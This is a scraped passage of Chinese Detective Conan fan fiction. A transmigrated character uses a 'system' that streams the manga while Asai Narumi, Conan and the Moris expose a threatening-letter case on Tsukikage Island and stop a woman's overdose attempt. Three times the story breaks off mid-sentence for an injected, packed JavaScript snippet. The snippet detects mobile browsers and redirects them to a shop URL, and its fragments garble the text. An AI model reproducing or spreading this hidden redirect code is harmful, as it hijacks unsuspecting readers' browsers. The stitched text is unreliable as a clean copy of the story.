组织底层成员,同时也是组织核心研究人员雪莉的姐姐,莱伊——FBI搜查官赤井秀一的女朋友。 虽然诸伏景光不知道未来会发生什么,但身为公安的直觉告诉他,就像清浅所说,这是一个非常重要的“筹码”。 巨大的信息冲击过后,紧随而来的是一种难以言喻的欣慰感。 ——清浅,他的弟弟在向他们寻求帮助。 他没有再一个人硬扛到底。 “清浅,”诸伏景光的声音温和,“你救了她?她现在安全吗?” “……嗯。”听到景光哥温和包容的声音,清浅不知为何松了口气,语气也顺畅了一些。“在成实医生那里,已经脱离危险了,但还没醒。” “我明白了。”诸伏景光毫不犹豫地回答,刻意使用了最初‘交易’的用语,语气中却蕴着一丝笑意。 “这个‘筹码’,公安非常需要。谢谢你,清浅,提供了如此重要的信息。” 电话那头又沉默了一下,然后清浅才低声说:“……那,后续就交给你们了。地址我稍后发给你。” “好,交给我们就好。”诸伏景光一口应下,语气里带着让人安心的力量,“所有后续的安置和保护,我们都会负责。你不用担心。” 问题似乎就此谈妥。按照清浅以往的风格,此刻应该已经准备挂断电话。 但今天,他没有。 电话两端都陷入了一种微妙的沉默,只有细微的电流声在滋滋作响。 过了一会儿,清浅那嘶哑的声音再次响起,比刚才更轻,带着一种几乎难以捕捉的、别别扭扭的确认: “……这样,就可以了吗?” 这样求助,就可以了吗?我把麻烦交给了你们,这样……是对的吗? 诸伏景光用力握紧了手机。半晌,他才有些干涩地回应: “嗯,这样就可以了。清浅,你做得很对。” 他的声音无比清晰、无比坚定地传递过去:“以后也是这样,清浅。有任何事,无论大小,无论是否麻烦,都可以像今天这样,直接打电话给我,或者给zero,给任何一个人。 我们一直都在。” 所以不用担心是否会麻烦我们,我们很乐意能够帮你分担一二。 电话那头,是长久的沉默。 诸伏景光耐心地等待着,他甚至能想象出清浅此刻可能微微睁大的雾蓝色眼眸。 良久,他才听到一声极轻极轻的,仿佛叹息般的气音: “……知道了。” 电话挂断,诸伏景光缓缓放下手机,嘴角无意识勾起一个笑来。 * 预想中的审视、权衡、乃至拒绝都没有到来,仿佛他递出的不是一个烫手山芋,而是一件寻常不过的包裹。 诸伏清浅怔怔地放下手机。 一种陌生的、酸软的情绪,毫无预兆地从心底最深处涌起,像冬日里第一杯捧在手心的热牛奶,温度顺着指尖的脉络,不容分说地流向四肢百骸,最终汇聚在心口,咕嘟咕嘟地冒着温暖而安定的泡泡。 他原本紧绷着,准备承受擅自行动可能带来的任何后果。他甚至准备好了另一套说辞用以说服或交换。 可景光哥……就这么轻易地、欣然地接住了他抛出的全部重量。 ……被纵容了啊。 94.月影岛慈善义演恐吓事件(1) 【系统面板已更新】 【新增了一些功能】 【诸伏清浅先生,祝您生活愉快】 ……嗯? 正在和浅井成实商讨如何与公安交接宫野明美的诸伏清浅,看到“视野”中突然弹出的系统提示,动作微微一顿。 “怎么了吗?尘。”扎着高马尾的成实医生注意到友人的走神。 不……没事。 诸伏清浅摇了摇头示意无妨,同时心念微动,点开了更新日志的详情。 ……嗯?! 【更新日志: 修复了一些bug; 优化了个人面板排版。 增加[漫画-名侦探柯南(重制版)]、[动漫-名侦探柯南(重制版)]、[论坛]功能模块。 】 ……我嘞个,是挂。 浅井成实看着明显神游天外、表情略显空茫的友人,不禁蹙起眉头:真的没事吗? 他忧心忡忡地重复了一遍刚才他们制定的计划:“所以我只需要在这里等待公安的到来,然后和他们当面交接是吧?” 诸伏清浅勉强一心二用,一边分神点开那崭新的【漫画】功能,一边恍惚地轻轻点头,手指在手机屏幕上敲出电子音: “[……嗯,我怕我那边会波及到你——以防万一,你最好提前在公安那边报备一……下aaaaaa?]” 电子音的尾音甚至因为主人的走神而敲出一串乱码。 浅井成实:“……”我觉得你很有事。 他决定暂时忽略友人的异样,试图用话题将对方拉回现实:“具体时间定在什么时候?” “[三、三天后。]”诸伏清浅几乎是下意识地敲出回应,注意力仍大半沉浸在那所谓的“重制版”漫画里—— 简介显示“连载中”,然后他又大致翻看了一下漫画—— 嗯,很好,是他这个世界所发生的故事,前面几话甚至把他也画上去了。 而且还是实时直播。 “三天后啊……”浅井成实沉吟着算了算时间,然后一锤手心欣然接受。“那正好,那之前我刚好能抽空回月影岛一趟。” 嗯嗯,月影岛……月影岛?! 似乎是看出对方的疑惑,浅井成实解释了一句:“月影岛的诊疗所给我发来了求助——” 由于老医生生病,岛上新来的医生恰好有急事出了趟远门,他受邀回去进行短期支援……简而言之,回去顶班。 偶尔会回月影岛诊所帮忙的浅井成实自然答应。 刚好将漫画页面翻到“毛利小五郎受邀明日启程月影岛”那一格的诸伏清浅,陷入了沉默。 位面之子永远是漩涡的中心,总会不自觉地牵引人物聚集,推动命运之轮向前。 柯学元年开启后,世界所受的桎梏虽在减少,但只要没有大幅度的外力干预,故事的主线似乎依然会沿着既定的轨迹缓缓流淌。 ——在戳一戳客服按钮后,诸伏清浅得到了世界意识百忙之中抽空传来的回答。 啊……月影岛的话…… 回想起原著中那起令人印象极其深刻的连续杀人案,以及最终在那架燃烧的钢琴旁陨落的灵魂,诸伏清浅陷入了更深的沉思。 他到底……要不要跟过去看看呢? …… ——最终还是偷偷跟过去了。 在诊所门口碰到毛利一家、正在和他们聊天的浅井成实一抬眼,就远远望见那个熟悉的身影——蒙着标志性的黑缎,手持盲杖,正小心翼翼探索着道路,朝这个方向摸索而来。 浅井成实:“……” 他看着那位演技陡然提升、浑身写满“我只是个偶然路过的无辜盲人”的友人,一时无语凝噎。 * 【尘 10:22 不用管我,你做你自己的事情就好。 ps:上一次你说的那一家很好吃的鲷鱼烧在哪里?】 看完短信的浅井成实无奈叹气。 “浅井医生?” “啊……没事。”成实随手回复完邮件,将手机重新揣回兜里,“我们刚刚聊到哪了?” “嗯……村长选举?”小兰提醒。 “哦对,村长选举。”说起这件事浅井成实就忍不住叹了口气,“月影岛平时还挺安静怡人的,最近倒是因为这件事情闹腾起来了。” 【月影岛上的各位居民,为了守护我们这座岛的渔场,请投清水正人,请投清水正人一票——】 顶着大喇叭的面包车经过他们,证实了成实的说法。 “我听那些来这里看病的人说,这次选举好像现任村长田中先生稳赢……虽然他的反对者也不少。” 成实顿了顿,“如果你们要去公民馆的话,应该很快就会遇到我刚才说的那三位候选人哦。” “欸?”*3 “听说为了振兴经济和拉票,田中先生明晚将会在那里举行一场钢琴演奏慈善义演呢。” 柯南一行人朝着公民馆走去。越是接近,他们就发现氛围越是……热闹。 “坚决抵制田中村长的恶行!” “禁止污染渔场!” 公民馆门口聚集着二三十名岛民,他们手中举着写有“反对田中连任”、“守护岛屿环境”等字样的牌子高声呐喊。 “看来这位田中村长相当不受爱戴呢。”毛利小五郎吐槽。 “爸爸,再怎么说他也是雇主。”毛利兰提醒他。 毛利小五郎撇撇嘴。 啊哈哈……啊嘞?那个人…… 柯南半月眼无奈一笑,余光却注意到抗/议岛民中的一个人。 在这群人中,一位身着素色连衣裙、气质沉静的夫人引起了他的注意。她没有像身边人那样情绪激动,只是默默地举着牌子,目光深邃地凝视着公民馆的大门。 那眼神复杂难辨,带着某种柯南觉得异常熟悉的东西——他一定在哪里见过类似的眼神,但一时之间却想不起来。 他们穿过人群,步入公民馆。馆内灯火通明,工作人员正在为明晚的演出紧张忙碌地布置着。 现任村长田中是个身材微胖、面带红光的中年男人,一见毛利小五郎,立刻热情地迎了上来,双手握住小五郎的手用力摇晃。 “哎呀呀,您就是大名鼎鼎的名侦探毛利小五郎先生吧!久仰久仰!您能来真是太好了!”田中村长的笑容热络得有些夸张。 “不瞒您说,我最近收到那封可怕的恐吓信,心里实在是不安稳。您的能力我是万分信赖的,请您一定要帮我找出这个胆大包天的家伙!” “哎呀哎呀,这些都是虚名而已啦——”受到如此直白的吹捧,毛利小五郎顿时眉开眼笑,虚荣心得到了极大满足,拍着胸脯保证: “您放心!有我名侦探毛利小五郎出马,这种藏头露尾的鼠辈,绝对手到擒来!” “那我可就放心了哈哈哈哈……千田!” “啊……是!”身为村长秘书的千田连忙赶来。 “你把那封恐吓信交给毛利先生仔细研究,务必招待好各位贵客。” 田中用力拍了拍千田的肩膀,随即转向毛利一行人,脸上堆满歉意。 “实在抱歉,因为义演 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众人回头,只见一位穿着时尚、妆容精致的年轻女性倚在走廊的柱子上——黑岩令子。 她双手抱臂,目光扫过千田秘书,眼神带着毫不掩饰的轻蔑,“就凭田中这些年的丰功伟绩,被人记恨、收到恐吓信,难道不是意料之中吗?”她说着,意有所指地往窗外抗/议的人群瞥了一眼。 “黑岩小姐……”千田秘书面露难色,欲言又止。 “我觉得千田先生您最好还是先去处理一下楼下的民愤吧,下面的保安可撑不了多久。”这个时候温和的声音响起,是浅井成实。 他刚从侧门走进来,显然是听闻动静过来看看。 闻言的千田秘书探头望了一眼楼下愈演愈烈的场面,也意识到了事情的严重性,只得匆匆向众人告罪,快步离开。 浅井成实目光触及到黑岩令子,他顿了一下,还是平静地礼貌点头致意。“好久不见,黑岩小姐。” 黑岩令子的目光与浅井成实交汇,神色变得有些复杂,她抿了抿唇,语气生硬地回应:“……啊,是你啊。” 她顿了顿,忽然像是想到了什么,突兀地问道:“那封恐吓信……是你写的吗?” 浅井成实:“……啊?” 浅井成实明显愣住,脸上浮现出真实的困惑,“什么恐吓信?” 这下轮到黑岩令子惊讶了:“……?不是你吗?你不是因为这件事才回来的?” “我是因为岛上的医生临时有急事外出,受老医生所托,才回来顶班的。”成实解释道,眉头微蹙,显然对恐吓信一事毫不知情。 “欸?!不是你吗?”又是一个声音加入对话,走来的男人看起来很是诧异——他是黑岩令子的未婚夫,村沢周一。 “啊……村沢先生。” “我还以为是你呢,成实君。”村沢周一先和浅井成实打了个招呼,然后语气低落下来。“毕竟,明晚的钢琴义演,要用到的是那架钢琴——” 这样啊……原来如此。浅井成实的脸色沉下。 之前温和的气质被一层冰冷的愠怒所取代。那封恐吓信的内容他刚才也听到了—— 无他,信中所提及的时间点和关键词都太过巧合,巧合到若非他最近一直忙于协助诸伏清浅,几乎要怀疑是不是自己梦游时分写下的东西。 “所以——”他垂下眼睫,让人看不清他眼里的情绪,但语气中的怒意不言而喻。 “是谁擅自答应了动用那架钢琴?” 95.月影岛慈善义演恐吓事件(2) “是谁,擅自答应动用了那架钢琴?” 现场的气氛瞬间变得有些凝滞。村沢周一推了推眼镜,脸上露出无奈的神情: “是田中村长直接决定的。我……我一开始也很生气,那毕竟是麻生先生的遗物,按理说使用前必须征得成实君你的同意。 但田中先生他……风评你也知道,我看他那么笃定,还以为他早已跟你打过招呼了,所以当时虽然不满,但也没再多说什么。没想到……” 他摇了摇头,没有再说下去。 呵……搞这套。 浅井成实的嘴唇抿成一条直线,他沉默了片刻,才冷笑一声缓缓开口:“事到如今,义演的消息已经放出,筹备也基本就绪,这钢琴……恐怕是不借也得借了。” 他终究还是有些控制不住——尽管已经过去了很多年。 于是他深吸一口气,轻声说了一句“诊所那边还有事,我先失陪”便离开了公民馆。 黑岩令子看了眼楼下逐渐散去的群众,冷哼一声便也离开。 “呐呐,大哥哥。” 村沢周一回神,看了眼轻扯他衣角的小孩子,“怎么了吗小朋友?” “那架演出用的钢琴有什么特别的地方吗?为什么成实医生好像很不高兴的样子?” 村沢周一叹了口气,蹲下身,尽量与柯南平视,耐心解释道:“那架钢琴是成实君的父亲,麻生圭二先生留下的遗物。 麻生先生是一位非常优秀的钢琴演奏家。按照道理和尊重,想要使用它,必须得到遗物主人的允许才行。田中村长这次的做法……确实欠妥。” 欸?父亲? 敏锐的小侦探察觉到这件事情背后有着更加复杂的关系,于是又问: “那为什么黑岩小姐和村沢先生你一开始都认为那封信是成实医生写的啊?是不是和黑岩小姐以及成实医生之间奇怪的氛围有关?” 村沢周一闻言,脸上掠过一丝为难,他站起身来,摸了摸柯南的头,低声道:“这个……涉及到他们两家人一些过去的隐私,我不好多说什么。 如果你真的想知道,或许……还是找机会亲自问问他们本人比较好。” 他的语气表明,这个话题到此为止。 * 走出略显压抑的公民馆,午后的阳光带着海岛特有的咸湿气息扑面而来,稍稍驱散了方才室内凝滞的空气。 “既然犯人提到了‘慈善’这个字眼,那么他的目标很可能会锁定在明晚的钢琴义演上。”毛利小五郎摩挲着下巴,摆出名侦探的架势,言之凿凿。 “如此看来,犯人很可能就隐藏在另外两位村长候选人之中!”他大手一挥,决定将调查重点放在“谁与田中有不共戴天之仇”上。 嘛……这个结论下得未免太武断了。 柯南在一旁沉思。 单是看刚才公民馆门前聚众抗/议的人数,就能知道田中村长树敌之多,范围之广,绝不仅仅是竞选对手那么简单。 再者,若真是竞争对手所为,恐吓信的内容难道不该更直接、更具威胁性吗?比如“立刻停止义演,否则……”这类措辞。 而那封恐吓信……他的脑海里再次浮现那几句简短却富有别样含义的句子。比起恐吓,它更像是一种……控诉? 12年前的亡魂……12年前,到底发生了什么? “小兰姐姐,调查的事情交给叔叔就好,我们自己在岛上逛一逛好不好?”柯南仰起脸,孩童乖巧的声音提议道。 他需要自己去调查。 毛利兰欣然同意。于是,柯南顺利脱离毛利小五郎的重点排查路线,和小兰在岛上漫无目的地闲逛。 当他们再次经过岛上的诊疗所时,一阵低低的闲聊声从敞开的窗户里飘了出来。一位年轻的护士正一边整理药品,一边对躺在病床上打点滴的老医生叹息: “西本夫人最近又来开安眠药了,剂量好像又加重了些……自从她儿子走后,她就没睡过一个安稳觉。 唉,这都是十二年前那件事造的孽啊……” 十二年前! 柯南目光一凛,耳朵瞬间竖了起来。 他立刻抓住这个机会,噔噔噔跑进诊疗所,扒在柜台边,像个充满求知欲的孩子般望着护士: “护士姐姐,你刚才说的十二年前那件事,是什么事呀?听起来好可怕的样子。” 护士被他吓了一跳,随即反应过来弯下腰,压低声音:“哎呀,小弟弟,你是在调查那封恐吓信的事情吗?” 她似乎也觉得这并非什么需要严格保守的秘密,带着些许倾诉的欲望说道,“不瞒你说,我一听到恐吓信的消息,第一个想到的就是成实医生呢!毕竟时间点太巧了……” “成实医生?”柯南适时表现出疑惑。 “是啊,就是十二年前那场悲剧……”护士的话匣子打开了,“就是麻生家那场可怕的大火啊!著名的钢琴家麻生圭二先生,还有他的太太女儿,全都……唉,当时都说他是放火自/杀,还带上了家人,真是太惨了……” “什么自/杀,胡说八道!” 躺在病床上的老医生吹胡子瞪眼,“警方后来明明已经澄清了,那是谋杀,残忍的谋杀!麻生先生怎么可能会带着他最心爱的家人一起自/杀!那是有人蓄意纵火!” “哎呀,是是是……您别激动,”护士懊恼地一拍脑袋,“时间过得有点久了,我这一下子没想起来。” 谋杀。纵火。 柯南立刻追问道:“老爷爷,麻生圭二……是成实医生的父亲吗?” “麻生家啊……”老医生情绪稍稍平复了一些,陷入了回忆。 “我其实也不太了解详细的经过,毕竟当年出事的时候,那孩子也就14岁。当时他因为身体不好,常年住在东京的医院里接受治疗,这才侥幸逃过了一劫。” “不过后来,也就是七年前,那孩子想办法收集到了证据,报警将那几个杀害他父亲的凶手抓到了,如今也跟着养父改姓了浅井……” 老医生透过窗户看着外面的街景,有些欣慰地感叹道,“如今他(kare)还愿意回来月影岛帮忙,也就说明他已经放下了吧?” 他顿了顿,看向柯南,眼神带着维护之意,“所以,成实那孩子根本没有理由去写什么恐吓信,他是个好孩子,不是会做那种事的人。” “他(彼 (kare))?” 柯南一愣。他回想起浅井成实医生那清秀的面容、温和的气质以及束起的长发,一直先入为主地认为那是一位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730917|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女性。 老医生似乎看穿了他的疑惑,笑着补充道:“虽然成实那孩子喜欢留长头发,样子也秀气,但确实是实打实的男生哦,可别搞错了。” 麻生圭二,十二年前死于非命,其子麻生成实(浅井成实)是惨案的唯一幸存者。 而恐吓信明确提到了“十二年前的亡魂”……这绝对不可能是巧合。 “那,”他沉思片刻,再次抬头,目光炯炯,“老爷爷,除了麻生家的惨案,十二年前岛上还发生过什么特别的事情吗?” * 走在月影岛略显陈旧的街道上,海风带来了咸腥的气息和远处海浪的低语。柯南的大脑飞速运转,试图将这些碎片拼凑起来。 “欸,柯南,你看那边,是不是成实医生?”毛利兰忽然指着前方说道。 柯南顺着她指的方向望去,果然看到浅井成实站在一栋看起来有些年头的宅邸门前,正与一位穿着素雅气质哀婉的妇人低声交谈着。 柯南认出了那位妇人,正是之前在公民馆楼下,沉默举着抗/议牌子的——西本夫人。 成实医生与西本夫人交谈了片刻,随后深深地鞠了一躬,神情凝重地转身离开。 柯南的目光转向还站在门口,望着成实离去方向怔怔出神的西本夫人。他决定上前试探。 他小跑过去,仰起脸,露出一个无害的表情:“您好,夫人。我们刚才看到成实医生了,他看起来好像很担心的样子……您还好吗?” 西本夫人似乎被他的声音惊醒,缓缓低下头。看到是个孩子,她紧绷的神情略微放松了些。 她勉强挤出一丝微笑,声音轻柔而沙哑:“我没事,谢谢你,小朋友。成实医生……他只是来看看我。” 柯南注意到,她的眼眶微微泛红。 “是因为那封可怕的恐吓信,大家都很害怕吗?”他继续用孩子的口吻试探道。“我还挺期待明天的义演来着……为什么有人会讨厌举办慈善义演的田中村长呢?” 当“慈善”和“义演”这两个词从柯南口中说出时,他敏锐捕捉到西本夫人的嘴角几不可查地向下抿紧。 虽然那情绪一闪而逝,快得几乎让人以为是错觉,但柯南确信自己没有看错。 “有些东西,披着华丽的外衣,内里却早已腐烂生蛆。”西本夫人的声音轻到几乎要被风吹散。 * ‘12年前,田中先生还未当上村长……但是在他的大力推动下,月影岛修建了不少新建筑。只是听说,当时使用的建筑材料不合格,后来还造成过事故……’ 回想着老医生提供的额外信息,柯南沉浸在思绪中,直到被小兰带着,来到了岛上的一家小餐馆与毛利小五郎汇合,才回过神来。 自动过滤掉叔叔那边还在信誓旦旦宣扬的“清水先生(另一位村长竞选者)嫌疑论”,柯南的目光被角落里另一个身影吸引——是浅井成实。 他独自坐在靠窗的位置,面前的食物几乎没动。昏黄的灯光映照着他苍白的侧脸,他正低头专注地看着手机屏幕,手指飞快地敲打着,似乎正在发送邮件。 柯南远远看着,没有选择上前打扰。他有一种强烈的直觉——成实医生此刻正在沟通的事情,或许就与那封神秘的恐吓信息息相关。 96.月影岛慈善义演恐吓事件(3) 诸伏清浅这一整天都在研究系统面板新出的功能,然后就非常恰巧地看完了今天的实况直播。 【动画-名侦探柯南(重制版)】最新一集、也就是今天的镜头刚好拍到浅井成实发邮件的动作,几乎是下一秒,他放在一旁的手机便应声响起,提示有新邮件抵达。 ……还蛮神奇的。 诸伏清浅意念一动,系统面板就将手机内的未读邮件展开在他的“视野”中。 【成实 19:21 尘,你查得到12年前那起和田中村长有关的建筑事故吗?】 看来成实也察觉到了。 诸伏清浅露出一个笑来。对于小侦探来说,这件案子可能还有尚不明晰的地方,但对于能敏锐捕捉他人情绪波动、且拥有高效情报搜集能力的他来说,这起恐吓事件已经几近透明。 诸伏清浅将注意力转至面板的另一个窗口,上面清晰陈列着十二年前关于月影岛的相关剪报和档案记录。 【尘 19:23 我知道你在担心什么……放心,我不会让她出事的。】 信息发送成功。诸伏清浅向后一倒,将自己扔进旅馆房间柔软的床铺里。 按照组织目前的认知,夏特勒兹此刻应该还在海外处理事务。他脸上那标志性的蒙眼缎带太过醒目,即便已经秘密回国,也必须尽量减少在外的曝光。 于是此刻,系统新增的动画直播功能就显得无比珍贵。尽管镜头大部分时间都追随小侦探的视角,但也足以让他精准掌握柯南的行踪,有效弥补了他自身情报网络在此刻的局限性。 * 哒。 深夜,夜黑风高,大家都陷入梦乡之时,一声几不可闻的轻响,落在深夜寂静的院落中。 一个身穿黑色劲装的身影轻巧地翻过住宅的围墙,靠近大门,不过两三秒就用铁丝撬开门锁,悄然潜入。 黑影没有四处转悠,而是简单辨认了一下方位,便目标明确地走向卧室。在一阵无声无息的翻找后,总算找出一个药瓶。 一无所知的西本夫人仍在一旁的床上沉沉睡着,没有人注意到入侵卧室倒腾药瓶的黑影,只有系统面板的动画直播将这一幕忠实地记录了下来。 * 第二天再经过一系列的观察走访和试探,将散落的线索拼凑起来,柯南大概也知道了恐吓信的凶手是谁。 “是你吧?西本夫人。”一个稚嫩却笃定的声音,打破了洗手间的寂静。 水流声哗哗作响,正站在洗手台前,有些失神地望着镜中自己憔悴的面容的西本夫人一怔回神。 她愕然扭头,只见那个戴着大眼镜的小男孩正站在门口,眼神澄澈却仿佛能看透人心。他的身后,站着满脸担忧的毛利兰和一脸肃容的毛利小五郎。 “……小朋友,你在说什么呀?”西本夫人勉强挤出一个笑容,手指却不自觉地抓紧了洗手台的边缘。 “西本夫人。”出声的是毛利小五郎,他轻咳一声,“您不用再掩饰了,我们已经调查出来了。” “……什么?” 柯南条理清晰地将自己拼凑出的真相娓娓道来。他提到十二年前那场被压下的建筑事故,提到她不幸罹难的儿子,提到当时担任负责人的田中村长因为贪/污渎职,导致救援延误、赔偿金被克扣,最终逼得她的孩子因负担不起医药费而绝望自/杀。 毛利小五郎的声音沉重:“所以那封恐吓信,您是想用这种方式,提醒所有人不要忘记那场被掩盖的悲剧,更是想……用自己的方式,让田中村长为您儿子的死,付出代价,是这样吧?” 西本夫人脸上的血色一点点褪去,肩膀微微颤抖起来。那层勉强维持的平静外壳被彻底击碎,她靠在冰冷的瓷砖墙上,仿佛失去了所有力气。 “……是。”她终于承认了,声音沙哑而空洞,带着一种认命般的疲惫,“我原本……已经认命了。这么多年,我都熬过来了。可是前几天,我在这里,亲耳听到他对别人说……” ‘那个家伙也太脆弱了,而且他自/杀关我什么事?’ 他怎么能……他怎么敢这么说! “是啊……自/杀关他什么事?”她喃喃着,自嘲似的轻笑一声,从随身的包包里翻出白色的药瓶。 “可就是有人,因为他的所作所为而死啊……” 她想吞/药?! “夫人!不要!”柯南和毛利兰同时惊呼,想要冲上前阻止! 他们都以为西本夫人是要谋杀田中,直到此刻才骇然明白,她真正的计划,是想以自己的生命为代价完成这场控诉! 啪。 “……已经可以了。西本夫人。” 就在着千钧一发之际,一道身影从洗手间虚掩的隔间门后闪出,一把攥住西本夫人的手腕,制止了她的动作。 “成实……?”西本夫人愣住了。看清来人后,她的情绪更加激动,开始奋力挣扎。 “放开我!成实你放开我!你们都不懂!只有我死了,只有用我的命,才能让他付出代价!” “没用的!” 浅井成实几乎是吼出了这三个字。他的声音像一记重锤,重重敲在西本夫人的心上,也震住了在场的每一个人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737197|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 确认她暂时冷静后,成实才缓缓松开了手,但身体依旧挡在她和药瓶之间。他低下头,唇角勾起一抹苦涩到极点的弧度。 “……我懂,我超懂。”这位扎着高马尾的年轻医生轻笑一声,其中蕴含的复杂情绪让人忍不住停下。 “很多年前,我也和你一样,心里除了仇恨,就只剩下一个念头——找到害死我家人的凶手,然后,和他们同归于尽。” ……是12年前。 毛利小五郎眉头一皱,小兰捂住了嘴,柯南的镜片反射出锐利的光。 “……!”西本夫人也猛地抬起头,难以置信地看着他。 “是有人让我明白,”浅井成实的声音缓和下来,“死亡,只是最懦弱最彻底的逃避。它看起来很壮烈决绝,但实际上,它同样意味着放弃了所有其他的可能性。” “生命的重量很重,重到一条生命的逝去,确实能像你希望的那样,引起警方的重视,媒体的关注。 你儿子的冤屈,或许真的能在某种程度上得到洗刷。 但那又如何呢?” “生命的重量同时也很轻,轻到你甚至愿意将它当作赌桌上唯一的筹码,轻易地交付出去。 可你想过吗?当你这么做之后,你就真的什么也没有了。 你和你的儿子,最终只会变成卷宗上几行冰冷的文字,变成人们茶余饭后一声短暂的叹息,然后……被遗忘。” 西本夫人再也支撑不住,身体顺着墙壁滑落,瘫坐在地上,失声痛哭起来,积压了十二年的悲痛、委屈和绝望,如同决堤的洪水般汹涌而出。 “那我又能怎么办……我一个女人,除了这条命,我还能做什么?” “我不知道。” 浅井成实的回答再次出乎了所有人的意料。如此直接,甚至显得有些残酷。 在西本夫人茫然的目光中,他蹲下身,与她平视,眼神却异常坚定:“我确实不知道你具体该怎么做。 但我知道,只有活下去,才有无限的可能。只有活着,你才能一点点去收集证据,才能等待时机,才能有机会亲眼看到那个漠视生命的人,被法律公正审判的那一天。 你一定要活着,健康清醒地活着,去亲眼见证他的下场。这才是对他最大的报复,也是对你儿子最好的告慰。” 他的话语坚定而温暖。 “而且——” 浅井成实说着,视线越过门口的毛利一行人,看向了不知何时也闻声赶来,正站在走廊阴影处,双手紧握的黑岩令子。 “和那位田中村长有仇的,远不止你一个。” 97.月影岛慈善义演恐吓事件(4) 最终慈善义演虽然顺利进行,但义演的主办方田中村长被几位面容冷峻的警察毫不客气地“请”上了警车。 晚间的陆风吹向海面,同时也吹散了人群,显得警灯旋转的红蓝光芒无情而刺眼,照亮了田中村长那张因惊惧和难以置信而扭曲的脸。 一位脸颊上带着狰狞伤疤、气质凶悍令人望而生畏的警官却没有立刻离开。 他大步走向一直安静站在角落的浅井成实,伸出宽厚粗糙的手掌。 “成实君,真是好久不见了。”他的声音出乎意料的温和,与外表形成了鲜明对比,眼中闪过一丝不易察觉的怀念。 浅井成实与他用力握了握手,脸上浮现出一抹复杂的苦笑:“说实话,水谷警官,我可不是很想在这样的场合下和您再见。” 被称为水谷的警官闻言豪爽地笑了笑,拍了拍成实的肩膀,力道不轻:“说的也是,和我这个老家伙见面,通常都没什么好事。” 他收敛了笑容,语气变得沉重而赞许,“我也没想到,当年那起案子,竟然还有尾巴……还好你发现了。” “这倒不是我一个人的功劳,只是我的朋友刚好在调查方面有些门路。而且——” 浅井成实轻轻摇头,侧身看向不远处正倚着廊柱、面无表情注视着警车离去方向的黑岩令子。 “线索和怀疑,很早之前就已经埋下了。” 待水谷警官带队押着嫌疑人离开,现场只剩下毛利一行人以及浅井成实和黑岩令子时,柯南终于忍不住上前,仰头问出在心头盘旋许久的疑问: “呐呐,成实医生,你是不是一开始就察觉到西本夫人想要自/杀了?” “是的。”浅井成实低头看着这个目光敏锐的小侦探,沉默片刻后还是轻轻回答了他的疑问。 “因为我自己在东京也有诊所,只是偶尔回来这里帮忙,所以我更容易察觉到——最近一段时间,西本夫人来诊所开安眠药的频率和剂量都太过频繁了。而且……” 他顿了顿,声音变得更低,似乎陷入了回忆里。 “那种被逼到绝境,绝望到选择孤注一掷,甚至不惜押上自己来了结仇恨的眼神……我太熟悉了。” 柯南的心猛地一沉。 十二年前。那个如同诅咒般的时间点再次浮现。 那不仅仅是西本夫人的丧子之痛,更是浅井成实自身背负的血海深仇。 “当年那起纵火案,绝对不是简单的谋杀吧?”出声的是毛利小五郎,虽然转行干了侦探,但属于刑警的敏锐并未消失。“否则,你也不会认识组织犯罪对策部的警官了。” 组织犯罪对策部,是打击毒品犯罪、暴力团(黑/帮)犯罪等有组织犯罪的核心力量。 “没错。”回答他的,是缓缓走过来的黑岩令子。她的声音冷静得近乎冷酷,甚至带着她惯有的嘲讽。 “那个姓田中的混蛋,背后干的是教唆贩毒的勾当。麻生圭二……当年就是因为坚决不肯协助我父亲和他们运输毒品,才招来了杀身之祸。” 浅井成实没有关注被如此信息量震撼的其他人,转头看向她:“所以,你这些年一直留在月影岛,是为了调查这件事?” “只是隐隐有些怀疑,但我没有证据。除了亲自盯着他,我想不出别的办法。”黑岩令子扯了扯嘴角,露出一抹自嘲的笑。“不过,最后还是你最先查到了证据。” 浅井成实垂眸:“……运气罢了。” “黑岩小姐……你为什么会……”柯南惊讶地看着这位女士。 黑岩令子深吸了一口气,抬手指了指身旁的浅井成实,语气平淡地叙述那段残酷的过往。“一段孽缘罢了。 当年的纵火案,是我老爸,黑岩辰次,亲手杀了他的老爸。原因嘛,刚才说了,麻生先生不肯同流合污。” “……不过,那都是七年前的事了。这家伙,”她再次指向成实,“搜集到了足够的证据,把当时所有参与其中的相关人员,包括我父亲,都送进了监狱。” 她话锋一转,眼神变得锐利起来:“但我了解我父亲。他虽然贪婪懦弱,但如果没有人在背后怂恿、给他壮胆,他绝对不敢自己去碰毒品这种掉脑袋的生意。田中……哼。” 浅井成实接过话头,解释道:“我也是在拜托我那位……朋友,帮西本夫人调查田中村长的资产和人际关系时,才意外发现了这条线索。” 西本夫人儿子那起事故,以及后续的掩盖,恐怕也只是他为了巩固权力、排除异己的诸多手段之一。 一旁的毛利小五郎听着这错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 